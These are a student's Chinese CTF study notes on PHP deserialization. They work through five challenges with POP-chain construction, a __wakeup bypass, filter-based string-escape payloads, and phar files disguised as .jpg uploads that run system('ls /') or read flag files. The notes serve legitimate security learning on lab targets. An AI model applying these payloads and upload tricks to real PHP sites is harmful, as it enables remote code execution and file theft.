- BUUCTF在线评测
- HNCTF 2022 ez_phar
3. 题目
3.1. SWPUCTF 2023 秋季新生赛UnS3rialize
3.1.1. 题目
Let's do some deserialization :)
<?php
highlight_file(__FILE__);
error_reporting(0);
class NSS
{
public $cmd;
function __invoke()
{
echo "Congratulations!!!You have learned to construct a POP chain<br/>";
system($this->cmd);
}
function __wakeup()
{
echo "W4keup!!!<br/>";
$this->cmd = "echo Welcome to NSSCTF";
}
}
class C
{
public $whoami;
function __get($argv)
{
echo "what do you want?";
$want = $this->whoami;
return $want();
}
}
class T
{
public $sth;
function __toString()
{
echo "Now you know how to use __toString<br/>There is more than one way to trigger";
return $this->sth->var;
}
}
class F
{
public $user = "nss";
public $passwd = "ctf";
public $notes;
function __construct($user, $passwd)
{
$this->user = $user;
$this->passwd = $passwd;
}
function __destruct()
{
if ($this->user === "SWPU" && $this->passwd === "NSS") {
echo "Now you know how to use __construct<br/>";
echo "your notes".$this->notes;
}else{
die("N0!");
}
}
}
if (isset($_GET['ser'])) {
$ser = unserialize(base64_decode($_GET['ser']));
} else {
echo "Let's do some deserialization :)";
}
Let's do some deserialization :)
3.1.2. 解答
3.1.2.1. 构造pop链
F::__destruct()->T::__toString()->C::__get($argv)->NSS::__invoke()->system($this->cmd)
【就是从后面往前面推,找到危险函数,一点一点去找符合条件的函数】
3.1.2.2. 新建对象
根据上述,知道要如何设置这个新对象了,
从那个头开始
$a=new F;这个时候this就相当于是$a$this->user === "SWPU" && $this->passwd === "NSS"即$a->user="SWPU"; $a->passwd="NSS";$a->notes=new T;$this->sth->var;就相当于是this是上面的$a->notes即$a->notes->sth = new C;$want = $this->whoami;this是上面的总和,即$a->notes->sth->whoami = new NSS;$a->notes->sth->whoami->cmd="cat /f*";
3.1.2.3. 构造payload(没有考虑到wakeup绕过的情况)

<?php
class NSS{
public $cmd;
}
class C{
public $whoami;
}
class T{
public $sth;
}
class F{
public $user;
public $passwd;
public $notes;
}
$a = new F;
$a->user="SWPU";
$a->passwd="NSS";
$a->notes=new T;
$a->notes->sth = new C;
$a->notes->sth->whoami = new NSS;
$a->notes->sth->whoami->cmd="cat /f*";
echo base64_encode(serialize($a));

结果

并没有输出你想要的结果,是因为有一个wake_up的绕过,
3.1.2.4. 最终版payload
先不进行编码echo (serialize($a));
得到
O:1:"F":3:{s:4:"user";s:4:"SWPU";s:6:"passwd";s:3:"NSS";s:5:"notes";O:1:"T":1:{s:3:"sth";O:1:"C":1:{s:6:"whoami";O:3:"NSS":1:{s:3:"cmd";s:7:"cat /f*";}}}}
为了绕过wakeup,就将F;3改为F:4
<?php
class NSS{
public $cmd;
}
class C{
public $whoami;
}
class T{
public $sth;
}
class F{
public $user;
public $passwd;
public $notes;
}
$a = new F;
$a->user="SWPU";
$a->passwd="NSS";
$a->notes=new T;
$a->notes->sth = new C;
$a->notes->sth->whoami = new NSS;
$a->notes->sth->whoami->cmd="cat /f*";
echo (serialize($a));
$e = 'O:1:"F":4:{s:4:"user";s:4:"SWPU";s:6:"passwd";s:3:"NSS";s:5:"notes";O:1:"T":1:{s:3:"sth";O:1:"C":1:{s:6:"whoami";O:3:"NSS":2:{s:3:"cmd";s:9:"cat /flag";}}}}';
echo base64_encode($e);


最后结果得知
3.1.2.5. wakeup绕过
当反序列化字符串中,表示属性个数的值大于真实属性个数时,会绕过 __wakeup() 函数的执行,是因为 PHP 在反序列化过程中,会忽略掉多出来的属性,而不会对这些属性进行处理和执行。
3.2. 安洵杯 2019easy_serialize_php
- BUUCTF在线评测题目地址
- https://github.com/D0g3-Lab/i-SOON_CTF_2019/tree/master/Web/easy_serialize_php题目源代码处
- 3. php反序列化从入门到放弃(入门篇) - bmjoker - 博客园具体解释处
- 安洵杯 2019easy_serialize_php_安洵杯2019 easy serializer-CSDN博客
3.2.1. 题目

<?php
$function = @$_GET['f'];
function filter($img){
$filter_arr = array('php','flag','php5','php4','fl1g');
$filter = '/'.implode('|',$filter_arr).'/i';
return preg_replace($filter,'',$img);
}
if($_SESSION){
unset($_SESSION);
}
$_SESSION["user"] = 'guest';
$_SESSION['function'] = $function;
extract($_POST);
if(!$function){
echo '<a href="index.php?f=highlight_file">source_code</a>';
}
if(!$_GET['img_path']){
$_SESSION['img'] = base64_encode('guest_img.png');
}else{
$_SESSION['img'] = sha1(base64_encode($_GET['img_path']));
}
$serialize_info = filter(serialize($_SESSION));
if($function == 'highlight_file'){
highlight_file('index.php');
}else if($function == 'phpinfo'){
eval('phpinfo();'); //maybe you can find something in here!
}else if($function == 'show_image'){
$userinfo = unserialize($serialize_info);
echo file_get_contents(base64_decode($userinfo['img']));
}
3.2.2. 代码审计
-
过滤
function filter(img){ filter_arr = array('php','flag','php5','php4','fl1g');
filter = '/'.implode('|',filter_arr).'/i';
return preg_replace(filter,'',img);
}
- implode('|',$filter_arr):把数组的关键词用
|分隔拼接成字符串,拼接后得到:
php|filter|flag
-
extract($_POST);会自动将HTTP POST请求里的所有表单参数名,直接变成PHP变量,变量值就是参数内容。 -
这里有提示
else if($function == 'phpinfo'){
eval('phpinfo();'); //maybe you can find something in here!
去寻找之后,注意,去搜索flag发现找不到,在core里头发现这个

感觉这个文件很有用处
d0g3_f1ag.php但是无法直接去读取

d0g3_f1ag.phpbase64 加密为ZDBnM19mMWFnLnBocA==
-
读取文件
else if(function == 'show_image'){ userinfo = unserialize(serialize_info); echo file_get_contents(base64_decode(userinfo['img']));

到这里,就大致懂得,我们要想办法去读取文件,利用反系列化,那么要怎么列呢?写出反序列化的链条
file_get_contents(base64_decode($userinfo['img']));$userinfo = unserialize($serialize_info);$serialize_info = filter(serialize($_SESSION));$_SESSION["user"] = 'guest';$_SESSION['function'] = $function;
-
img_path//如果GET请求中没有'img_path'参数
if(!_GET['img_path']){ //设置默认会话图片路径 _SESSION['img'] = base64_encode('guest_img.png');
}else{
//将传入的图片路径进行base64编码后在进行shal哈希(再次对其进行一次加密)
_SESSION['img'] = sha1(base64_encode(_GET['img_path']));
} -
if($_SESSION){unset($_SESSION);}
unset对$_SESSION进行了销毁
3.2.2.1.1.1. 补充知识点【extract】
<?php
$_SESSION["user"] = 'guest';
$_SESSION['function'] = $function;
var_dump($_SESSION);
echo "<br/>";
extract($_POST);
var_dump($_SESSION);
?>

直接相当于清零,post里面些什么,结果就是什么
3.2.3. 解题
有两种方法
3.2.3.1. 思路
首先通过查询phpinfo,知道要读取文件
,读取文件,的要求也知道,要$_SESSION['img']=base64_encode('guest_img.png');
但是呢,如果你直接post img,就会被shal加密,所以要想办法绕过,就是使用字符绕过的方式
3.2.3.2. 键逃逸(最常见于过滤场景)
假设过滤函数会删除黑名单词,原本序列化字符串是:
a:1:{s:8:"badflag";s:3:"123";}
如果我们把黑名单词放在键名里,过滤后删除掉关键词,键名长度会比实际字符数长,比如:
- 我们构造键名:
phpflag(其中php会被过滤) - 声明长度:
s:7:"phpflag",过滤后实际变成s:7:"flag",键名实际只有4个字符,但长度声明还是7,会多吃掉后面3个字符
通过这种方式,可以提前吃掉到下一个键的分隔符";,强行闭合当前结构,注入我们想要的恶意键值对。
3.2.3.2.1. 如何使用构造
需要一个键值对就行了,直接构造会被过滤的键,这样值得一部分充当键,剩下得一部分作为单独的键值对
我们核心想要的是3:"img";s:20:"ZDBnM19mMWFnLnBocA==";

string(80) "a:1:{s:8:"flagflag";s:51:"";s:3:"aaa";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}";}"
过滤之后
string(72) "a:1:{s:8:"";s:51:"";s:3:"aaa";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}";}"
就是一个数组名字为";s:51:",其值为aaa。
array
'";s:51:"' => string 'aaa' (length=3)
'img' => string 'ZDBnM19mMWFnLnBocA==' (length=20)
a:2:{s:8:"flagflag";s:51:"";s:3:"aaa";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}";s:3:"img";s:20:"Z3Vlc3RfaW1nLnBuZw==";}

3.2.3.3. 值逃逸(常见于字符替换场景)
通常发生在替换短字符串为更长字符串 的场景(比如替换"为\"),每替换一次就会多出来一个字符,当我们控制多个这样的替换后:
- 原本的值因为替换变长,但长度声明还是原来的
- 超出长度的部分就会被解析器当成新的序列化内容
举个简单例子:原本你声明s:1:"",替换之后变成s:1:"\",实际长度是2,多出来的字符就会逃逸出来,成为新的键值对结构。
3.2.3.3.1. 如何写呢?
我们可以构造
<?php
$_SESSION["user"] = 'guest';
$_SESSION['function'] = 'a';
$_SESSION['img']='ZDBnM19mMWFnLnBocA==';
var_dump(serialize($_SESSION));
?>
结果是string(90) "a:3:{s:4:"user";s:5:"guest";s:8:"function";s:1:"a";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}"
-
要使得他逃逸,就让他到}外面去

a:3:{s:4:"user";s:5:"guest";s:8:"function";s:42:"a";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}
- 接下来处理另外的数据,因为这里为了使他绕过,现在img属于function里面的属性
想要把荧光部分的去除掉,就可以利用user的值的过滤来写,
;s:8:"function";s:42:"a"24位字符,所以要绕过24次。上面提到'php','flag','php5','php4','fl1g'都会被过滤,比如四个flag

过滤完
string(144) "a:3:{s:4:"user";s:16:"";s:8:"function";s:42:"a";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}"
- 注意,后面还要再添加一个属性,因为刚开始就是有三个
s:2:"aa";s:1:"a";
构造到最后
_SESSION[user]=flagflagflagflagflagflag&_SESSION[function]=a";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";s:2:"aa";s:1:"a";}

在/d0g3_fllllllag中base64后是L2QwZzNfZmxsbGxsbGFn还是20位
_SESSION[user]=flagflagflagflagflagflag&_SESSION[function]=a";s:3:"img";s:20:"L2QwZzNfZmxsbGxsbGFn";s:2:"aa";s:1:"a";}
3.2.4. 写后感
好难好乱,首先是多个知识点结合,考字符逃逸但是又暗戳戳的,并且前摇很长,感觉写的好奇怪。
3.3. 逃
3.3.1. 题目
小s痛改前非,对反序列化设置了filter,但在设置的过程中神志不清,未能完全隔绝攻击,你能再次突破小s的filter并再教训他一次吗?
<?php
highlight_file(__FILE__);
include ("flag.php");
function filter($payload)
{
$black_list=array("flag","php");
return str_replace($black_list,"stop",$payload);
}
class test{
var $user = 'test';
var $pswd = 'sunshine';
function __construct($user){
$this->user=$user;
}
}
$payload=$_GET['payload'];
$profile=unserialize(filter($payload));
if ($profile->pswd=='escaping'){
echo "逃出来了, 恭喜恭喜<br>";
echo $flag;
}
?>
3.3.2. 解答
这道题出现了字符逃逸,出现一个取代,当$profile->pswd=='escaping'时,有结果,得到flag
3.3.2.1. 新建一个对象
<?php
class test{
var $user = 'test';
var $pswd = 'sunshine';
function __construct($user){
$this->user=$user;
}
}
$a = new test;
$new = serialize($a);
echo $new;
echo urlencode($new);
?>
出错了,下面大概意思是,要再传入一个数字__construct($user)即,$a=new test(传入的参数);
Fatal error: Uncaught ArgumentCountError: Too few arguments to function test::__construct(), 0 passed in /box/script.php on line 10 and exactly 1 expected in /box/script.php:6
Stack trace:
#0 /box/script.php(10): test->__construct()
#1 {main}
thrown in /box/script.php on line 6
Exited with error status 255
3.3.2.2. 尝试一下这个新建对象的方式
3.3.2.2.1. 假设我传入数据为空

O:4:"test":2:{s:4:"user";s:0:"";s:4:"pswd";s:8:"sunshine";}
这个时候看pswd是"sunshine"
3.3.2.2.2. 假设我把pswd=='escaping'这个属性添加进去

O:4:"test":2:{s:4:"user";s:31:"php;s:4:"pswd";s:8:"escaping";}";s:4:"pswd";s:8:"sunshine";}
发现一个问题,就是出现两个pswd后面的并没有被忽略掉?
【嗯~,我们应该使用上述var_dump试试,因为string长度不变,所以会被替代掉】
3.3.2.2.3. 注意长度
我们发现说,原来php/flag经过过滤会变成stop,
如果是flag,前后长度同,如果是php,就增加1的长度,可以将后面的挤掉
3.3.2.2.3.1. 比如:现在user与过滤后的user一样

前后一致,,flag同理
3.3.2.2.3.2. 要挤掉多少呢?取决于后面的那个
比如之前的:
s:24:"flagflagflagflagflagflag";
s:24:"";s:8:"function";s:59:"a";
荧光部分为24

顶替掉内容,为";s:4:"pswd";s:8:"escaping";}29个数,
所以需要29组php,增加29个字符
<?php
class test{
var $user = 'test';
var $pswd = 'sunshine';
function __construct($user){
$this->user=$user;
}
}
$a = new test('phpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphp";s:4:"pswd";s:8:"escaping";}');
$ser = serialize($a);
var_dump(unserialize($ser));
echo "-----------------------\n";
$filter = preg_replace("/php/","stop",$ser);
var_dump(unserialize($filter));
?>
3.3.2.3. 最后结果
<?php
class test{
var $user = 'test';
var $pswd = 'sunshine';
function __construct($user){
$this->user=$user;
}
}
$a = new test('phpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphp";s:4:"pswd";s:8:"escaping";}');
$ser = serialize($a);
var_dump(unserialize($ser));
echo "-----------------------\n";
$filter = preg_replace("/php/","stop",$ser);
var_dump(unserialize($filter));
echo "-----------------------\n";
echo urlencode($ser);
?>
O%3A4%3A%22test%22%3A2%3A%7Bs%3A4%3A%22user%22%3Bs%3A117%3A%22phpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpp%0Ahpphpphpphpphpphpphp%22%3Bs%3A4%3A%22pswd%22%3Bs%3A8%3A%22escaping%22%3B%7D%22%3Bs%3A4%3A%22pswd%22%3Bs%3A8%3A%22sunshine%22%3B%7D

3.3.3. 总结
记得顺序
序列化-》字符溢出-》反序列化
若需要编码urlencode
3.4. SWPUCTF 2018SimplePHP
https://github.com/CTFTraining/swpuctf_2018_simplephp源码地址
BUUCTF在线评测题目位置
wp的参考地址
- SWPUCTF 2018SimplePHP_wp-CSDN博客
- SWPUCTF 2018SimplePHP_swpuctf 2018simplephp 1-CSDN博客
- 3. php反序列化从入门到放弃(入门篇) - bmjoker - 博客园
3.4.1. 题目



3.4.2. 解答
3.4.2.1. 第一步(知道入口点)
点击" 查看文件 ",发现了标志性的文件包含语句" file.php?file= "
所以可以根据这个去搜寻查看我们想要查看的文件
使用Dirsearch来扫描文件
python dirsearch.py -u http://

估计是防扫描了,改了线路和频率也不行
但是经过首页的提示

<?php
header("content-type:text/html;charset=utf-8");
include 'base.php';
?>
3.4.2.2. 第二步(一步步访问文件)
3.4.2.2.1. base.php
去访问这个base.php
<?php
session_start();
?>
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<title>web3</title>
<link rel="stylesheet" href="https://cdn.staticfile.org/twitter-bootstrap/3.3.7/css/bootstrap.min.css">
<script src="https://cdn.staticfile.org/jquery/2.1.1/jquery.min.js"></script>
<script src="https://cdn.staticfile.org/twitter-bootstrap/3.3.7/js/bootstrap.min.js"></script>
</head>
<body>
<nav class="navbar navbar-default" role="navigation">
<div class="container-fluid">
<div class="navbar-header">
<a class="navbar-brand" href="index.php">首页</a>
</div>
<ul class="nav navbar-nav navbra-toggle">
<li class="active"><a href="file.php?file=">查看文件</a></li>
<li><a href="upload_file.php">上传文件</a></li>
</ul>
<ul class="nav navbar-nav navbar-right">
<li><a href="index.php"><span class="glyphicon glyphicon-user"></span><?php echo $_SERVER['REMOTE_ADDR'];?></a></li>
</ul>
</div>
</nav>
</body>
</html>
<!--flag is in f1ag.php-->
3.4.2.2.2. f1ag.php
发现提示之后,接着去访问f1ag.php

发现被警告过滤了。
3.4.2.2.3. file.php
猜测一下,可能存在file.php,因为url上面有
file.php
<?php
header("content-type:text/html;charset=utf-8");
include 'function.php';
include 'class.php';
ini_set('open_basedir','/var/www/html/');
$file = $_GET["file"] ? $_GET['file'] : "";
if(empty($file)) {
echo "<h2>There is no file to show!<h2/>";
}
$show = new Show();
if(file_exists($file)) {
$show->source = $file;
$show->_show();
} else if (!empty($file)){
die('file doesn\'t exists.');
}
?>
在看这个代码时候,看见
include 'function.php';
include 'class.php'; 两个文件
3.4.2.2.4. function.php
222.90.67.205
<?php
//show_source(__FILE__);
include "base.php";
header("Content-type: text/html;charset=utf-8");
error_reporting(0);
function upload_file_do() {
global $_FILES;
$filename = md5($_FILES["file"]["name"].$_SERVER["REMOTE_ADDR"]).".jpg";
//mkdir("upload",0777);
if(file_exists("upload/" . $filename)) {
unlink($filename);
}
move_uploaded_file($_FILES["file"]["tmp_name"],"upload/" . $filename);
echo '<script type="text/javascript">alert("上传成功!");</script>';
}
function upload_file() {
global $_FILES;
if(upload_file_check()) {
upload_file_do();
}
}
function upload_file_check() {
global $_FILES;
$allowed_types = array("gif","jpeg","jpg","png");
$temp = explode(".",$_FILES["file"]["name"]);
$extension = end($temp);
if(empty($extension)) {
//echo "<h4>请选择上传的文件:" . "<h4/>";
}
else{
if(in_array($extension,$allowed_types)) {
return true;
}
else {
echo '<script type="text/javascript">alert("Invalid file!");</script>';
return false;
}
}
}
?>
include "base.php";
看见了只允许上传"gif","jpeg","jpg","png"类型的文件,文件上传限制
- 扩展名验证 :获取文件名后缀,只放行
gif/jpeg/jpg/png,这是第一道验证 - 保存文件名规则 :
md5(文件名 + 客户端IP) + .jpg,最终保存的文件后缀固定是.jpg - 保存路径统一放在
upload/目录下
3.4.2.2.5. class.php
<?php
class C1e4r
{
public $test;
public $str;
public function __construct($name)
{
$this->str = $name;
}
public function __destruct()
{
$this->test = $this->str;
echo $this->test;
}
}
class Show
{
public $source;
public $str;
public function __construct($file)
{
$this->source = $file; //$this->source = phar://phar.jpg
echo $this->source;
}
public function __toString()
{
$content = $this->str['str']->source;
return $content;
}
public function __set($key,$value)
{
$this->$key = $value;
}
public function _show()
{
if(preg_match('/http|https|file:|gopher|dict|\.\.|f1ag/i',$this->source)) {
die('hacker!');
} else {
highlight_file($this->source);
}
}
public function __wakeup()
{
if(preg_match("/http|https|file:|gopher|dict|\.\./i", $this->source)) {
echo "hacker~";
$this->source = "index.php";
}
}
}
class Test
{
public $file;
public $params;
public function __construct()
{
$this->params = array();
}
public function __get($key)
{
return $this->get($key);
}
public function get($key)
{
if(isset($this->params[$key])) {
$value = $this->params[$key];
} else {
$value = "index.php";
}
return $this->file_get($value);
}
public function file_get($value)
{
$text = base64_encode(file_get_contents($value));
return $text;
}
}
?>
看着是一个pop链
迅速扫一遍,好像没有看到危险函数,
但是看到 //$this->source = phar://phar.jpg注释,推测可能是phar伪协议的反序列化漏洞
只对http,https,file:,gopher,dict协议的过滤
3.4.2.3. 第三步【重点看看这个class.php的内容】
重点!!!难!!!
SWPUCTF 2018SimplePHP_wp-CSDN博客这个人在构造的时候写的极为详细
<?php
class C1e4r
{
public $test;
public $str;
public function __construct($name)
{
$this->str = $name;
}
public function __destruct()
{
$this->test = $this->str;
echo $this->test;
}
}
class Show
{
public $source;
public $str;
public function __construct($file)
{
$this->source = $file; //$this->source = phar://phar.jpg
echo $this->source;
}
public function __toString()
{
$content = $this->str['str']->source;
return $content;
}
public function __set($key,$value)
{
$this->$key = $value;
}
public function _show()
{
if(preg_match('/http|https|file:|gopher|dict|\.\.|f1ag/i',$this->source)) {
die('hacker!');
} else {
highlight_file($this->source);
}
}
public function __wakeup()
{
if(preg_match("/http|https|file:|gopher|dict|\.\./i", $this->source)) {
echo "hacker~";
$this->source = "index.php";
}
}
}
class Test
{
public $file;
public $params;
public function __construct()
{
$this->params = array();
}
public function __get($key)
{
return $this->get($key);
}
public function get($key)
{
if(isset($this->params[$key]))
{
$value = $this->params[$key];
} else {
$value = "index.php";
}
return $this->file_get($value);
}
public function file_get($value)
{
$text = base64_encode(file_get_contents($value));
return $text;
}
}
?>
找到漏洞入口点file_get_contents($value)
往上file_get_contents($value))《= file_get($value)《=get($key)《=__get($key)【读取不可访问的属性的值时会被调用】《=show::__toString()《=C1e4r::__destruct()
【因为_destrust()魔术方法可以自动调用,所以到这里就找到了pop链的头,只要让$str为Show类的对象即可,接下来就可以构造exp了】
这里还有一个注意点:
file_get_contents($value),$value的值是多少?$value = $this->params[$key];𝑘𝑒𝑦的值是𝑔𝑒𝑡()魔术方法中传入的,𝑔𝑒𝑡()魔术方法是当调用一个类中不存在的属性时自动被调用,而key的值就是那个不存在的属性 ,所以在我们构造pop链调用Test类中不存在的属性时,要让这个不存在的属性的值为"f1ag.php"从而让value的值为` "f1ag.php"`,`content = this->str['str']->source`触发get(),所以value的值就是source
最后完整的pop链为:
file_get_contents() <-- Test::get() <-- Test::__get() <-- Show::toString() <-- C1e4r::__destruct()
创建的新对象有:
$this->str['str']=new Test()
$this->test=new Show()
构造的两种方式
$a = new C1e4r();
$b = new Show();
$c = new Test();
$a->str = $b; //触发__tostring
$b->str['str'] = $c; //触发__get;
$a = new C1e4r();
$a->str = new Show();
$a->str->str['str'] = new Test();
最后的exp
<?php
class C1e4r
{
public $test;
public $str;
}
class Show
{
public $source;
public $str;
}
class Test
{
public $file;
public $params;
}
$a = new C1e4r();
$a->str = new Show();
$a->str->str['str'] = new Test();
$a->str->str['str']->params["source"] = "/var/www/html/f1ag.php";
?>
//因为file.php对/var/www/html/进行了查询
3.4.2.4. 第四步{访问完所有文件代码后,读取有用信息}
- base.php,用于前端展示的html代码。
- **function.php,**function.php是文件上传模块的源码,大题功能就是将我们上传的文件进行过滤,只允许上传gif、jpeg、jpg、png格式的文件,然后将上传成功的文件进行md5编码重命名,最后存储在upload目录下,
- class.php,
- **file.php,**从前端接收file参数,判断文件是否存在在/var/www/html/下,但是文件中没有unserialize()反序列化口,因为文件系统函数在通过phar://伪协议解析phar文件时,都会将meta-data进行反序列化,这里正好使用file_exists()对用户提交的参数进行解析,如果我们构造phar://解析phar文件,就可以反序列化payload,造成任意文件读取。
3.4.2.5. 第五步【那么phar考点出现了】
查询一下可以用phar的文件操作函数
发现在file.php文件函数中出现file_exists($file)即phar反序列化的点
将phar加入到之前的exp中
$phar = new Phar("joker.phar"); //.phar文件
$phar->startBuffering();
$phar->setStub('<?php __HALT_COMPILER(); ? >');
$phar->setMetadata($a); //触发的头是C1e4r类,所以传入C1e4r对象
$phar->addFromString("test.txt", "test"); //生成签名
$phar->stopBuffering();
即
<?php
class C1e4r
{
public $test;
public $str;
}
class Show
{
public $source;
public $str;
}
class Test
{
public $file;
public $params;
}
$a = new C1e4r();
$a->str = new Show();
$a->str->str['str'] = new Test();
$a->str->str['str']->params["source"] = "/var/www/html/f1ag.php";
$phar = new Phar("joker.phar"); //.phar文件
$phar->startBuffering();
$phar->setStub('<?php __HALT_COMPILER(); ? >');
$phar->setMetadata($a); //触发的头是C1e4r类,所以传入C1e4r对象
$phar->addFromString("test.txt", "test"); //生成签名
$phar->stopBuffering();
?>
写好这个以后突然发现我不会生成phar文件
然后浅浅研究了一下
3.4.2.5.1. phar文件的生成
新建一个文本,复制exp,
注意@ini_set('phar.readonly', 0);这个条件要补上,
然后在cmd处去生成文件,,注意,要有php的环境

生成成功之后

然后可以打开来看看,我用的是vscode,注意,是十六进制编辑器打开

3.4.2.6. 第六步【上传文件】
因为有文件上传后缀的过滤 ,所以后缀名由.phar改为.jpg

上传成功去找找我们上传的内容吧

欸,不在这里
注意到move_uploaded_file($_FILES["file"]["tmp_name"],"upload/" . $filename);
echo '<script type="text/javascript">alert("上传成功!");</script>';
所以我们的文件在/upload/这里

第一个就是我们刚刚上传的文件
然后使用phar:/来读取
phar://upload/673d5d608aac52a8c16e73507b6d1ef5.jpg

接下来对他进行解码Base64 编码/解码 - 锤子在线工具

终于!!结束了!!
3.5. HNCTF 2022 ez_phar
NSSCTF 在线CTF平台题目地址
HNCTF 2022 WEEK3ez_phar_ctf ezphar-CSDN博客博主
3.5.1. 题目
<?php
show_source(__FILE__);
class Flag{
public $code;
public function __destruct(){
// TODO: Implement __destruct() method.
eval($this->code);
}
}
$filename = $_GET['filename'];
file_exists($filename);
?>
upload something upload something
3.5.2. 解答
3.5.2.1. 第一步【分析题目】
这道题看上去非常的简单,代码也不长,显而易见的
文件操作函数file_exists($filename);是phar:/的入手点
危险函数eval()
参数入口点$_GET['filename'];
3.5.2.2. 第二步【写出exp】
exp为:
<?php
@ini_set('phar.readonly', 0);
class Flag{
public $code;
public function __destruct()
{
eval($this->code);
}
}
$a=new Flag;
$a->code="system('ls /')";
$phar = new Phar("exp.phar");
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>");
$phar->setMetadata($a); // 注入恶意对象
$phar->addFromString("test.txt", "test");
$phar->stopBuffering();
?>
先执行system('ls /')列目录再看flag在哪,因为不一定在/flag里头
$obj->code = "system('cat /ffflllaaaggg');";

就是说,cat是Linux/Unix系统的命令 ,Windows的CMD/PowerShell没有这个命令,所以识别失败;【用Ubuntu虚拟机等等就不会了】
3.5.2.3. 上传phar文件
因为前面代码提示upload something ,所以去看一下upload.php文件

上传.phar文件时,被拦截了

只要把他改一下,.jpg就可以上传成功
3.5.2.4. 第四步【去查看文件内容】

无法直接在/upload/看见文件
/?filename=phar://upload/.jpg

4. 总结
4.1. 学习进度
【因为老是想要拖延,所以在这里写每天的学习的内容】
4.1.1.1.1.1. 周一:
- SWPUCTF 2023 秋季新生赛UnS3rialize写一道题目
- session的存储机制【处理器】
4.1.1.1.1.2. 周二
【学的比较少】
- session反序列化漏洞
4.1.1.1.1.3. 周三
【无】
4.1.1.1.1.4. 周四
- 字符逃逸(知识点)
- 一道关于字符逃逸的题目
4.1.1.1.1.5. 周五
- 知识点(那个魔术方法的),关于出现场景
- 安洵杯 2019easy_serialize_php【好难】
4.1.1.1.1.6. 周六
【无】
4.1.1.1.1.7. 周天
- wake_up绕过
- 引用
- phar伪协议
- HNCTF 2022 ez_phar
- SWPUCTF 2018SimplePHP【好难】